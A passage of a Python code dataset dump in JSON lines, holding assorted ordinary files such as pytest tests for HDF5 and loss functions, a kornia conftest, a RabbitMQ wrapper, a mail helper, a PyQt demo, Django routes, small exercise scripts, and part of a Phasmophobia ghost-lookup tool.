T = int(input())\r\n    for i in range(T):\r\n        n, k, p, q = map(int, input().split())\r\n        print(sol_dp(n, k, p, q))\r\n\r\n\r\nif __name__ == '__main__':\r\n    main()","sub_path":"9.py","file_name":"9.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"286784261","text":"#-*- coding: utf-8 -*-\n#!/usr/bin/python\n\nimport smtplib\nimport string\nimport sys\n\ndef mail(SUBJECT,RECEIVER,NAME,CONTENT):\n    HOST = \"172.19.x.x\"\n    FROM = \"xxx@xxx.com\"\n    text = \"%s哈哈, %s嘿嘿\" % (NAME,CONTENT)\n    BODY = string.join((\n            \"From: %s\" % FROM,\n            \"To: %s\" % RECEIVER,\n            \"Subject: %s\" % SUBJECT,\n            \"\",\n            text\n            ), \"\\r\\n\")\n    server = smtplib.SMTP()\n    server.connect(HOST,\"25\")\n    server.sendmail(FROM,RECEIVER,BODY)\n    server.quit()\n","sub_path":"study/sendmail.py","file_name":"sendmail.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"426695231","text":"from __future__ import division, absolute_import\nfrom __future__ import print_function, unicode_literals\nfrom builtins import zip\nfrom past.utils import old_div\nimport sys\nimport os\nimport pytest\nfrom pyFLUT.hdf5 import ReadHdf5\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport shutil\n\n\nof_dir = 'files/hdf5/OpenFOAM/'\nh5_file = of_dir + 'FLUT.h5'\nbin_file = of_dir + 'FLUT.bin'\n\nfl_dir = 'files/hdf5/Fluent/'\nh5_fluent = fl_dir + 'FLUT.h5'\n\nn_out = 69\nn_z = 101\nn_pv = 11\nh5_shape = [n_z, n_pv, n_out + 2]\nout_shape = [n_z, n_pv]  # [n_pv, n_z]\n\nprint(os.getcwd())\n\n\n@pytest.fixture(scope='module')\ndef init_readFLUT():\n    \"\"\"\n    Read HDF5 file FLUT.h5 for testing\n    :return: ReadHdf5file\n    \"\"\"\n    return ReadHdf5(h5_file, verbose=False)\n\n\n@pytest.fixture(scope='module')\ndef read_non_existing_FLUT():\n    \"\"\"\n    Read a dumb hdf5 file\n    \"\"\"\n    return ReadHdf5('dumb.h5', verbose=False)\n\n\n@pytest.fixture(scope='module')\ndef read_fluent_FLUT():\n    \"\"\"\n    Read a Fluent FLUT.h5 hdf5 file\n    \"\"\"\n    return ReadHdf5(h5_fluent, verbose=False)\n\n\ndef test_nameBinaryData():\n    \"\"\"\n    check the correct name of the binary file\n    :return:\n    \"\"\"\n    #cwd = os.getcwd()\n    f = init_readFLUT()\n    assert f.binary_file == bin_file\n    from os.path import normpath\n    assert normpath(f._path) == normpath(of_dir)\n\n\ndef test_read_exceptions():\n    # test if the reading of a non existing file return an exception\n    with pytest.raises(Exception):\n        f = read_non_existing_FLUT()\n    with pytest.raises(Exception):\n        f = ReadHdf5('files/dummy.h5')\n\n\ndef test_n_input():\n    f = init_readFLUT()\n    assert f.n_input == 2\n\n\ndef test_input_dict():\n    '''\n    test reading of input parameters\n    :return:\n    '''\n    f = init_readFLUT()\n    assert 'Mean1' in f._input_dict\n    assert 'stepPV_1' in f._input_dict\n    assert len(f._input_dict) == 2\n    assert list(f._input_dict.keys())[0] == 'Mean1'\n    assert list(f._input_dict.keys())[1] == 'stepPV_1'\n    assert f._input_dict['Mean1'].max() == 1\n\n\ndef test_output_dict():\n    f = init_readFLUT()\n    #assert len(f.output_dict) == n_out + 2\n    assert f._output_dict['CO'] == 14\n    with pytest.raises(Exception):\n        f['foo']\n\n\ndef test_readBinaryFile():\n    f = init_readFLUT()\n    numb = 1\n    for key, value in f._input_dict.items():\n        numb *= value.size\n        # check if the size of the binary file corresponds to the input and\n        # output size\n    assert f._data.size == len(f._output_dict) * numb\n    shape = [len(x) for x in f._input_dict.values()]\n    shape.append(f.n_output + len(f._input_dict))\n    assert all([xi == yi for xi, yi in zip(shape, h5_shape)])\n    # check shape of data matrix after reshaping\n    assert all([xi == yi for xi, yi in zip(f._data.shape, h5_shape)])\n\n\ndef test_getItem():\n    f = init_readFLUT()\n    assert all([xi == yi for xi, yi in zip(f['Temperature'].shape, out_shape)])\n    assert all([xi == yi for xi, yi in zip(\n        f.parameters_grid()[0].shape, out_shape)])\n\n# def test_YC():\n#     f = init_readFLUT()\n#     n = len(f.output_dict)\n#     YC = f['stepPV_1']\n#     YCmax = f['PV_1max']\n#     YCmin = f['PV_1min']\n#     #assert 'YC' in f.output_dict\n#     #assert f.output_dict['YC'] == n\n#     #assert len(f.output_dict) == n+1\n#     #assert all([output_dict is not n for specie, output_dict in f.output_dict.iteritems() if specie is not 'YC'])\n#     assert YC.shape == (n_z, n_pv) # check if the shape of yc is n_pv X n_z\n#     assert (np.round(YC[0, :] - YCmin[0, :], 8) == 0).all()  # check the minimum of yc\n#     assert (np.round(YC[-1, :] - YCmax[-1, :], 8) == 0).all()  # check the maximum of yc => the round function is used\n#     #assert (yc == f.data[:,:,-1]).all() # check that the datat appended to f.data are the same as yc\n\n\ndef test_read_fluent_h5():\n    f = read_fluent_FLUT()\n    assert f.solver == 'Fluent'\n    # assert f['Mean1'] is not None\n\n\ndef test_plotdata():\n    d = init_readFLUT()\n    f = d.plotdata('Mean1', 'CO', parameters_to_plot={'stepPV_1': [1.0]})\n    plt.savefig('test/test_hdf5_0.png')\n\n\ndef test_contourdata():\n    d = init_readFLUT()\n    f = d.contourdata('Mean1', 'stepPV_1', 'CO')\n    plt.savefig('test/test_hdf5_1.png')\n\n\ndef test_getvalue():\n    d = init_readFLUT()\n    assert np.all(d['cc'] == d['stepPV_1'])\n\n\ndef test_update_data():\n    d = init_readFLUT()\n    d._data[..., d._output_dict['WPV_1']] = old_div(d['WPV_1'], d['Density'])\n    d.update_data(backup=True)\n    d.close()\n\n    d_new = init_readFLUT()\n    assert np.all(d_new['CO'] == d['CO'])\n    assert np.all(d_new['WPV_1'] == d['WPV_1'])\n    [shutil.move(f + '.bak', f) for f in [h5_file, bin_file]]\n\n\ndef test_gradient():\n    d = init_readFLUT()\n    d['dTdZ'] = d.gradient('Temperature', along='Mean1', method='central')\n    #d.plotdata('Mean1', 'dTdZ', parameters_to_plot={'stepPV_1': [0.4, 0.6, 0.8, 1]})\n    ax = d.plotdata('Mean1', 'dTdZ', parameters_to_plot={\n                    'stepPV_1': 1}, label='dTdZ')\n    ax.legend(loc='upper left')\n    ax1 = ax.twinx()\n    d.plotdata('Mean1', 'Temperature', parameters_to_plot={'stepPV_1': 1}, ax=ax1, color='red',\n               label='T')\n    ax1.legend(loc='upper right')\n    plt.savefig('test/test_gradient.png')\n","sub_path":"test/test_hdf5.py","file_name":"test_hdf5.py","file_ext":"py","file_size_in_byte":5218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"445583488","text":"import sys\nfrom itertools import product\nfrom typing import Dict\n\nimport numpy as np\nimport pytest\nimport torch\n\nimport kornia\n\n\ndef get_test_devices() -> Dict[str, torch.device]:\n    \"\"\"Create a dictionary with the devices to test the source code. CUDA devices will be test only in case the\n    current hardware supports it.\n\n    Return:\n        dict(str, torch.device): list with devices names.\n    \"\"\"\n    devices: Dict[str, torch.device] = {}\n    devices[\"cpu\"] = torch.device(\"cpu\")\n    if torch.cuda.is_available():\n        devices[\"cuda\"] = torch.device(\"cuda:0\")\n    if kornia.xla_is_available():\n        import torch_xla.core.xla_model as xm\n\n        devices[\"tpu\"] = xm.xla_device()\n    if hasattr(torch.backends, 'mps'):\n        if torch.backends.mps.is_available():\n            devices[\"mps\"] = torch.device(\"mps\")\n    return devices\n\n\ndef get_test_dtypes() -> Dict[str, torch.dtype]:\n    \"\"\"Create a dictionary with the dtypes the source code.\n\n    Return:\n        dict(str, torch.dtype): list with dtype names.\n    \"\"\"\n    dtypes: Dict[str, torch.dtype] = {}\n    dtypes[\"bfloat16\"] = torch.bfloat16\n    dtypes[\"float16\"] = torch.float16\n    dtypes[\"float32\"] = torch.float32\n    dtypes[\"float64\"] = torch.float64\n    return dtypes\n\n\n# setup the devices to test the source code\n\nTEST_DEVICES: Dict[str, torch.device] = get_test_devices()\nTEST_DTYPES: Dict[str, torch.dtype] = get_test_dtypes()\n\n# Combinations of device and dtype to be excluded from testing.\n# DEVICE_DTYPE_BLACKLIST = {('cpu', 'float16')}\nDEVICE_DTYPE_BLACKLIST = {}\n\n\n@pytest.fixture()\ndef device(device_name) -> torch.device:\n    return TEST_DEVICES[device_name]\n\n\n@pytest.fixture()\ndef dtype(dtype_name) -> torch.dtype:\n    return TEST_DTYPES[dtype_name]\n\n\n@pytest.fixture(scope='session')\ndef torch_optimizer():\n    if hasattr(torch, 'compile') and sys.platform == \"linux\":\n        torch.set_float32_matmul_precision('high')\n        return torch.compile\n\n    pytest.skip(f\"skipped because {torch.__version__} not have `compile` available! Failed to setup dynamo.\")\n\n\ndef pytest_generate_tests(metafunc):\n    device_names = None\n    dtype_names = None\n    if 'device_name' in metafunc.fixturenames:\n        raw_value = metafunc.config.getoption('--device')\n        if raw_value == 'all':\n            device_names = list(TEST_DEVICES.keys())\n        else:\n            device_names = raw_value.split(',')\n    if 'dtype_name' in metafunc.fixturenames:\n        raw_value = metafunc.config.getoption('--dtype')\n        if raw_value == 'all':\n            dtype_names = list(TEST_DTYPES.keys())\n        else:\n            dtype_names = raw_value.split(',')\n    if device_names is not None and dtype_names is not None:\n        # Exclude any blacklisted device/dtype combinations.\n        params = [combo for combo in product(device_names, dtype_names) if combo not in DEVICE_DTYPE_BLACKLIST]\n        metafunc.parametrize('device_name,dtype_name', params)\n    elif device_names is not None:\n        metafunc.parametrize('device_name', device_names)\n    elif dtype_names is not None:\n        metafunc.parametrize('dtype_name', dtype_names)\n\n\ndef pytest_addoption(parser):\n    parser.addoption('--device', action=\"store\", default=\"cpu\")\n    parser.addoption('--dtype', action=\"store\", default=\"float32\")\n\n\n@pytest.fixture(autouse=True)\ndef add_doctest_deps(doctest_namespace):\n    doctest_namespace[\"np\"] = np\n    doctest_namespace[\"torch\"] = torch\n    doctest_namespace[\"kornia\"] = kornia\n\n\n# the commit hash for the data version\nsha: str = 'cb8f42bf28b9f347df6afba5558738f62a11f28a'\nsha2: str = 'f7d8da661701424babb64850e03c5e8faec7ea62'\nsha3: str = '8b98f44abbe92b7a84631ed06613b08fee7dae14'\n\n\n@pytest.fixture(scope='session')\ndef data(request):\n    url = {\n        'loftr_homo': f'https://github.com/kornia/data_test/blob/{sha}/loftr_outdoor_and_homography_data.pt?raw=true',\n        'loftr_fund': f'https://github.com/kornia/data_test/blob/{sha}/loftr_indoor_and_fundamental_data.pt?raw=true',\n        'adalam_idxs': f'https://github.com/kornia/data_test/blob/{sha2}/adalam_test.pt?raw=true',\n        'lightglue_idxs': f'https://github.com/kornia/data_test/blob/{sha2}/adalam_test.pt?raw=true',\n        'disk_outdoor': f'https://github.com/kornia/data_test/blob/{sha3}/knchurch_disk.pt?raw=true',\n        'dexined': 'https://cmp.felk.cvut.cz/~mishkdmy/models/DexiNed_BIPED_10.pth',\n    }\n    return torch.hub.load_state_dict_from_url(url[request.param], map_location=torch.device('cpu'))\n","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":4465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"51140090","text":"import abc\nimport six\nimport json\n\nimport pika\n\n\n@six.add_metaclass(abc.ABCMeta)\nclass RabbitMQ(object):\n  RABBITMQ_HOST = '127.0.0.1'\n  RABBITMQ_USER = 'guest'\n  RABBITMQ_USER_PASSWORD = 'guest'\n  PREFIX_QUEUE_ERROR_DELAY = '{queue}_error_delay_{time}'\n  PREFIX_QUEUE_ERROR = '{queue}_error'\n\n  def __init__(self, queue):\n      self._connection = pika.BlockingConnection(\n                pika.ConnectionParameters(\n                    host=self.RABBITMQ_HOST,\n                    credentials=pika.PlainCredentials(self.RABBITMQ_USER, self.RABBITMQ_USER_PASSWORD)\n                ))\n      self._queue = queue\n      self._channel = self._get_channel()\n      self._channel.queue_declare(queue=queue, durable=True) \n \n\n      self._queue_error = self._get_queue_error_name()\n      self._channel_error = self._get_channel()\n      self._channel_error.queue_declare(queue=self._queue_error, durable=True)\n      # bind queue error for works delay\n      self._channel_error.queue_bind(exchange='amq.direct', queue=self._queue_error)\n\n  def _get_channel(self):\n      channel = self._connection.channel()\n      channel.confirm_delivery()\n      return channel\n    \n  def __del__(self):\n      self._channel.close()\n      self._channel_error.close()\n      self._connection.close()\n\n  def post_msg(self, message):\n      self._channel.basic_publish(exchange='',\n                      routing_key=self._queue,\n                      body=json.dumps(message),\n                      properties=pika.BasicProperties(delivery_mode=2))\n  \n  def _get_queue_error_name(self):\n      return self.PREFIX_QUEUE_ERROR.format(queue=self._queue)\n\n\n  def post_msg_queue_error_delay(self, message, time_delay=10*60*1000): \n      queue_delay = self.PREFIX_QUEUE_ERROR_DELAY.format(queue=self._queue, time=time_delay)\n      delay_channel = self._get_channel()\n      delay_channel.queue_declare(queue=queue_delay, durable=True,\n            arguments={\n                'x-message-ttl' : time_delay, # Delay until the message is transferred in milliseconds.\n                'x-dead-letter-exchange' : 'amq.direct', # Exchange used to transfer the message from A to B.\n                'x-dead-letter-routing-key' : self._queue_error # Name of the queue we want the message transferred to.\n            }\n      )\n\n      delay_channel.basic_publish(exchange='',\n                      routing_key=queue_delay,\n                      body=json.dumps(message),\n                      properties=pika.BasicProperties(delivery_mode=2))\n\n\n  #@staticmethod\n  @abc.abstractmethod \n  def callback(self, ch, method, properties, body):\n      \"\"\" This function is abstract method, please extend and implement\"\"\"\n      print(\" [x] Example: Received %r\" % body)\n      # set ack after success execute this line for remove message from queue\n      #ch.basic_ack(delivery_tag = method.delivery_tag)\n      print(\" [x] Example: Done\")\n\n  def consumer(self):\n      self._channel.basic_qos(prefetch_count=1)\n      self._channel.basic_consume(self.callback, queue=self._queue)\n      print(' [*] Waiting for messages. To exit press CTRL+C')\n      try:\n         self._channel.start_consuming()\n      except:\n         print(' [x] Terminited consumer queue...')\n\n  def consumer_error(self):\n      self._channel_error.basic_qos(prefetch_count=1)\n      self._channel_error.basic_consume(self.callback, queue=self._queue_error)\n      print(' [*] Waiting for messages in queue error. To exit press CTRL+C')\n      try:\n         self._channel_error.start_consuming()\n      except:\n         print(' [x] Terminited consumer queue error...')\n\n","sub_path":"rabbitmq.py","file_name":"rabbitmq.py","file_ext":"py","file_size_in_byte":3563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"594895463","text":"#Input values for two excetutions was \n# 2.5 and 5.5\na = float(input(\"a \"))\nb = float(input(\"b \"))\n\na = a*2 / int(a)\nb = b*2 / int(b)\n\nprint(a)\nprint(b)\n#2 for 2.5\n#2 for 2.2","sub_path":"python_for_tweens_and_teens/chapter_10/exc_2.py","file_name":"exc_2.py","file_ext":"py","file_size_in_byte":174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"146583582","text":"# Uses python3\nimport sys\n\n\ndef fibonacci_partial_sum_naive(from_, to):\n    sum = 0\n\n    current = 0\n    next = 1\n\n    for i in range(to + 1):\n        if i >= from_:\n            sum += current\n\n        current, next = next, current + next\n\n    return sum % 10\n\n\ndef get_fibonacci(n):\n    if n == 0:\n        return 0\n    if n == 1:\n        return 1\n\n    fib = [x for x in range(n+1)]\n    fib[0] = 0\n    fib[1] = 1\n\n    for i in range(2, n+1):\n        fib[i] = fib[i-1]+fib[i-2]\n    return fib[n]\n\n\ndef fibonacci_huge(n, m):\n    index = -1\n    for i in range(2, 10**14):\n        if(get_fibonacci(i) % m == 0):\n            if(get_fibonacci(i+1) % m == 1):\n                index = i\n                break\n    mod_small = n % index\n    fib_small = get_fibonacci(mod_small)\n    return fib_small\n\n\ndef fibonacci_partial_sum(from_, to):\n    if from_ == to:\n        return fibonacci_huge(from_, 10) % 10\n    return ((fibonacci_huge(to+2, 10)-1) - (fibonacci_huge(from_+1, 10)-1)) % 10\n\nfrom_, to = map(int, input().split())\nprint(fibonacci_partial_sum(from_, to))","sub_path":"Lab8/C Codes/ldsfna.py","file_name":"ldsfna.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"216434661","text":"# flake8: noqa\nimport numpy as np\nimport pytest\nimport torch\n\nfrom catalyst.contrib.nn import criterion as module\nfrom catalyst.contrib.nn.criterion import CircleLoss, TripletMarginLossWithSampler\nfrom catalyst.contrib.nn.criterion.contrastive import BarlowTwinsLoss\nfrom catalyst.data import AllTripletsSampler\n\n\ndef test_criterion_init():\n    \"\"\"@TODO: Docs. Contribution is welcome.\"\"\"\n    for module_class in module.__dict__.values():\n        if isinstance(module_class, type):\n            if module_class == CircleLoss:\n                instance = module_class(margin=0.25, gamma=256)\n            elif module_class == TripletMarginLossWithSampler:\n                instance = module_class(margin=1.0, sampler_inbatch=AllTripletsSampler())\n            elif module_class == BarlowTwinsLoss:\n                instance = module_class(offdiag_lambda=1, eps=1e-12)\n            else:\n                # @TODO: very dirty trick\n                try:\n                    instance = module_class()\n                except:\n                    print(module_class)\n                    instance = 1\n            assert instance is not None\n\n\n@pytest.mark.parametrize(\n    \"embeddings_left,embeddings_right,offdiag_lambda,eps,true_value\",\n    (\n        (\n            torch.tensor([[1.0, 0.0], [0.0, 1.0]]),\n            torch.tensor([[1.0, 0.0], [0.0, 1.0]]),\n            1,\n            1e-12,\n            1,\n        ),\n        (\n            torch.tensor([[1.0, 0.0], [0.0, 1.0]]),\n            torch.tensor([[1.0, 0.0], [0.0, 1.0]]),\n            0,\n            1e-12,\n            0.5,\n        ),\n        (\n            torch.tensor([[1.0, 0.0], [0.0, 1.0]]),\n            torch.tensor([[1.0, 0.0], [0.0, 1.0]]),\n            2,\n            1e-12,\n            1.5,\n        ),\n        (\n            torch.tensor(\n                [\n                    [-0.31887834],\n                    [1.3980029],\n                    [0.30775256],\n                    [0.29397671],\n                    [-1.47968253],\n                    [-0.72796992],\n                    [-0.30937596],\n                    [1.16363952],\n                    [-2.15524895],\n                    [-0.0440765],\n                ]\n            ),\n            torch.tensor(\n                [\n                    [-0.31887834],\n                    [1.3980029],\n                    [0.30775256],\n                    [0.29397671],\n                    [-1.47968253],\n                    [-0.72796992],\n                    [-0.30937596],\n                    [1.16363952],\n                    [-2.15524895],\n                    [-0.0440765],\n                ]\n            ),\n            1,\n            1e-12,\n            0.01,\n        ),\n    ),\n)\ndef test_barlow_twins_loss(\n    embeddings_left: torch.Tensor,\n    embeddings_right: torch.Tensor,\n    offdiag_lambda: float,\n    eps: float,\n    true_value: float,\n):\n    \"\"\"\n    Test Barlow Twins loss\n    Args:\n        embeddings_left: left objects embeddings [batch_size, features_dim]\n        embeddings_right: right objects embeddings [batch_size, features_dim]\n        offdiag_lambda: trade off parametr\n        eps: zero varience handler (var + eps)\n        true_value: expected loss value\n    \"\"\"\n    value = BarlowTwinsLoss(offdiag_lambda=offdiag_lambda, eps=eps)(\n        embeddings_left, embeddings_right\n    ).item()\n    assert np.isclose(value, true_value)\n","sub_path":"tests/catalyst/contrib/nn/test_criterion.py","file_name":"test_criterion.py","file_ext":"py","file_size_in_byte":3349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"410011234","text":"from PyQt5.QtCore import *\r\nfrom PyQt5.QtWidgets import *\r\nimport sys\r\n\r\nclass Window(QWidget):\r\n    def __init__(self):\r\n        QWidget.__init__(self)\r\n        layout = QGridLayout()\r\n        self.setLayout(layout)\r\n        label1 = QLabel(\"Widget in Tab 1.\")\r\n        label2 = QLabel(\"Widget in Tab 2.\")\r\n        tabwidget = QTabWidget()\r\n        tabwidget.addTab(label1, \"Tab 1\")\r\n        tabwidget.addTab(label2, \"Tab 2\")\r\n        layout.addWidget(tabwidget, 0, 0)\r\n\r\napp = QApplication(sys.argv)\r\nscreen = Window()\r\nscreen.show()\r\nsys.exit(app.exec_())","sub_path":"PyQt-GUI-Programming-Tutorial/TabWidget.py","file_name":"TabWidget.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"140326841","text":"def element(x,y):\n    r=0\n    for  i in range(0,len(x)-1):\n        if x[i]==y[i]:\n            continue\n        else:\n            r=r+i\n        return r+1\n\n\n\n\nx=[12,23,5,34,45,67,78]\ny=[12,23,34,45,67,78]\nresult=element(x,y)\nprint(result)\n","sub_path":"Element.py","file_name":"Element.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"509215430","text":"###########################################\n# Author: Tinkle\n# E-mail: shutingnupt@gmail.com\n# Name:  Merge Sorted Array.py\n# Creation Time: 2018/1/21\n###########################################\n'''\nGiven two sorted integer arrays nums1 and nums2, merge nums2 into nums1 as one sorted array.\n\nNote:\nYou may assume that nums1 has enough space (size that is greater or equal to m + n) to hold additional elements from nums2.\nThe number of elements initialized in nums1 and nums2 are m and n respectively.\n'''\nclass Solution(object):\n    def merge(self, nums1, m, nums2, n):\n        \"\"\"\n        :type nums1: List[int]\n        :type m: int\n        :type nums2: List[int]\n        :type n: int\n        :rtype: void Do not return anything, modify nums1 in-place instead.\n        \"\"\"\n        l=m+n-1\n        i=min(len(nums1)-1,m-1)\n        j=min(len(nums2)-1,n-1)\n        while(i>=0 and j>=0):\n            if(nums1[i]>nums2[j]):\n                nums1[l]=nums1[i]\n                l=l-1;i=i-1\n            else:\n                nums1[l]=nums2[j]\n                l=l-1;j=j-1\n        while(i>=0):\n            nums1[l]=nums1[i]\n            l=l-1\n            i=i-1\n        while(j>=0):\n            nums1[l]=nums2[j]\n            l=l-1\n            j=j-1","sub_path":"Array/88. Merge Sorted Array.py","file_name":"88. Merge Sorted Array.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"35412788","text":"# -*- coding: utf-8 -*-\nfrom django.conf.urls import url, include\n\nfrom moderators import views\n\nurlpatterns = [\n    url(r'^articles/related/$', views.get_polls_related_to_article, name='polls_by_article'),\n    url(r'^articles/get/$', views.get_articles, name='get_articles'),\n    url(r'^articles/delete/$', views.delete_article, name='delete_article'),\n    url(r'^articles/add/$', views.add_article, name='add_article'),\n    url(r'^articles/update/$', views.update_article, name='update_article'),\n    url(r'^articles/statistics/$', views.get_articles_stat, name='get_articles_stat'),\n\n    url(r'^category/create/$', views.category_create, name='category_create'),\n    url(r'^category/read/$', views.category_read, name='category_read'),\n    url(r'^category/update/$', views.category_update, name='category_update'),\n    url(r'^category/delete/$', views.category_delete, name='category_delete'),\n\n    url(r'^polls/feed/$', views.poll_feed, name='feed'),\n    url(r'^polls/read/$', views.poll_read, name='read'),\n    url(r'^polls/delete/$', views.poll_delete, name='delete'),\n    url(r'^polls/get_polls_by_title/$', views.get_polls_by_title, name='get_polls_by_title'),\n    url(r'^polls/approve/$', views.poll_approve, name='poll_approve'),\n\n    url(r'^template/create/$', views.create, name='create'),\n    url(r'^template/read/$', views.read, name='read'),\n    url(r'^template/update/$', views.update, name='update'),\n    url(r'^template/delete/$', views.delete, name='delete'),\n    url(r'^template/feed/$', views.feed, name='feed'),\n    url(r'^get_polls/$', views.get_polls, name='get_polls'),\n    url(r'^get_users/$', views.get_users, name='get_users'),\n]\n","sub_path":"src/moderators/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"19492069","text":"\"\"\"\r\n    Authors: Cross/Ryan & Sweden/Jerk\r\n    Date: 8/15/2021\r\n\"\"\"\r\ntry:\r\n    import UPL\r\n\r\nexcept ImportError:\r\n    import sys, os\r\n    print(chr(69))\r\n    os.system(f\"{sys.executable} ./auto_upl.py\")\r\n    os.system(f\"{sys.executable} -m pip install psutil\")\r\n    import UPL\r\nimport sys\r\n\r\nclass phasmoTool:\r\n    def __init__(self, ghosts:dict) -> UPL.null:\r\n        \"\"\"\r\n            @params:\r\n                ghosts (dict) : every ghost in phasmo\r\n                \r\n            @returns:\r\n                None\r\n            the init method\r\n        \"\"\"\r\n        self.ghosts = ghosts\r\n        self.possible = []\r\n        self.ghosts_sep = {\r\n            \"emf level 5\"           : [],\r\n            \"fingerprints\"          : [],\r\n            \"spirit box\"            : [],\r\n            \"ghost writing\"         : [],\r\n            \"ghost orb\"             : [],\r\n            \"freezing temperatures\" : [],\r\n            \"dots projector\"        : []\r\n        }\r\n        self.current_round = []\r\n        self.default = [\"fingerprints\", \"ghost orb\", \"spirit box\", \"freezing temperatures\", \"emf level 5\", \"ghost writing\", \"dots projector\"]\r\n        self.possible_evidence = self.default\r\n        self.clicks = 0\r\n        self.groupGhosts()\r\n        \r\n    def groupGhosts(self) -> UPL.null:\r\n        \"\"\"\r\n            @params:\r\n                None\r\n                \r\n            @returns:\r\n                None\r\n        \r\n            groups the ghosts into different catagories based off of what evidence\r\n            each ghost has\r\n        \"\"\"\r\n        for ghost in self.ghosts.keys():\r\n            for evidence in self.ghosts[ghost][\"Evidence\"]:\r\n                self.ghosts_sep[evidence.lower()].append(ghost)\r\n    \r\n    def get_evidenceType(self, evidence:str) -> str:\r\n        evidence = evidence.lower()\r\n        if \"finger\" in evidence or \"print\" in evidence or \"hand\" in evidence:\r\n            return \"fingerprints\"\r\n        \r\n        elif \"orb\" in evidence:\r\n            return \"ghost orb\"\r\n        \r\n        elif \"spirit\" in evidence or \"box\" in evidence:\r\n            return \"spirit box\"\r\n        \r\n        elif \"freezing\" in evidence or \"temp\" in evidence:\r\n            return \"freezing temperatures\"\r\n        \r\n        elif \"emf\" in evidence:\r\n            return \"emf level 5\"\r\n        \r\n        elif \"writ\" in evidence:\r\n            return \"ghost writing\"\r\n        \r\n        elif \"dots\" in evidence:\r\n            return \"dots projector\"\r\n        \r\n        else:\r\n            return False\r\n        \r\n    def lookup(self, ghost:str) -> UPL.null:\r\n        ghost = ghost.lower().capitalize()\r\n        if ghost in self.ghosts:\r\n            msg = f\"Description : {self.ghosts[ghost]['Description']}\\nStrength : {self.ghosts[ghost]['Strength']}\\nWeakness : {self.ghosts[ghost]['Weakness']}\\nEvidence:\\n\\t{self.ghosts[ghost]['Evidence'][0]}\\n\\t{self.ghosts[ghost]['Evidence'][1]}\\n\\t{self.ghosts[ghost]['Evidence'][2]}\"   \r\n            UPL.gui.popup(title=ghost, msg=msg)\r\n        \r\n        else:\r\n            UPL.gui.popup(title=\"Unknown ghost type\", msg=f\"The ghost {ghost} is not known\")  \r\n    \r\n    def add_evidence(self) -> UPL.null:\r\n        #print(self.possible_evidence)\r\n        if self.possible_evidence == None:\r\n            self.possible_evidence = self.default\r\n        evidence = UPL.gui.confirm(\"Select Evidence\", \"What evidence have you collected hunter?\", self.possible_evidence)\r\n        evidence = self.get_evidenceType(evidence)\r\n        \r\n        if evidence == False:\r\n            UPL.gui.popup(\"That evidence does not exist\")\r\n            return\r\n        \r\n        if evidence not in self.current_round:\r\n            self.current_round.append(evidence)\r\n            self.current_guess()\r\n            tmp = []\r\n\r\n            for ghost in self.possible:\r\n                evi = self.ghosts[ghost]['Evidence']\r\n                for i in evi:\r\n                    if i.lower() == evidence:\r\n                        continue\r\n                    elif i.lower() in self.current_round:\r\n                        continue\r\n                    \r\n                    elif i not in tmp:\r\n                        tmp.append(i)\r\n         \r\n            self.possible_evidence = tmp\r\n\r\n    def rem_evidence(self) -> UPL.null:\r\n        evidence = UPL.gui.confirm(\"Select Evidence\", \"What evidence have you collected hunter?\", self.current_round)\r\n        evidence = self.get_evidenceType(evidence)\r\n        \r\n        if evidence == False:\r\n            UPL.gui.popup(\"That evidence does not exist\")\r\n            return\r\n        \r\n        if evidence in self.current_round:\r\n            self.current_round.remove(evidence)\r\n            self.current_guess()\r\n            tmp = []\r\n            for ghost in self.possible:\r\n                evi = self.ghosts[ghost]['Evidence']\r\n                for i in evi:\r\n                    if i.lower() in self.current_round:\r\n                        continue\r\n                    \r\n                    elif i.lower() not in tmp:\r\n                        tmp.append(i)\r\n            tmp = list(set(tmp))  \r\n            if tmp != []:\r\n                tmp = tmp.sort()          \r\n            self.possible_evidence = tmp\r\n            \r\n        self.current_guess()\r\n            \r\n    \r\n    ## possible ghosts\r\n    def display_possibleGUI(self) -> list:\r\n        return self.possible\r\n    \r\n    ## all evidence\r\n    def display_eviGUI(self) -> list:\r\n        return self.current_round\r\n    \r\n    def display_possible(self) -> UPL.null:\r\n        \"\"\"\r\n            @params:\r\n                None\r\n                \r\n            @returns:\r\n                None\r\n            \r\n            displays all the possible ghosts\r\n        \"\"\"\r\n        print(\"All possible ghosts:\")\r\n        if len(self.possible) == 1:\r\n            print(f\"The ghost is a {self.possible[0]}\")\r\n            return\r\n        \r\n        elif len(self.possible) == 0:\r\n            print(\"Go find some evidence!\")\r\n            return        \r\n        \r\n        for ghost in self.possible:\r\n            tmp = [i for i in self.ghosts[ghost][\"Evidence\"] if i.lower() not in self.current_round]\r\n            print(f\"\\t{ghost} : {tmp}\")\r\n            \r\n    def current_guess(self) -> UPL.null:\r\n        \"\"\"\r\n            @params:\r\n                None\r\n                \r\n            @returns:\r\n                None\r\n            \r\n            Attempts to figure out what the ghost may be\r\n        \"\"\"\r\n        possible = []\r\n        for evidence in self.ghosts_sep.keys():\r\n            if evidence in self.current_round:\r\n                if len(possible) > 0:\r\n                    possible 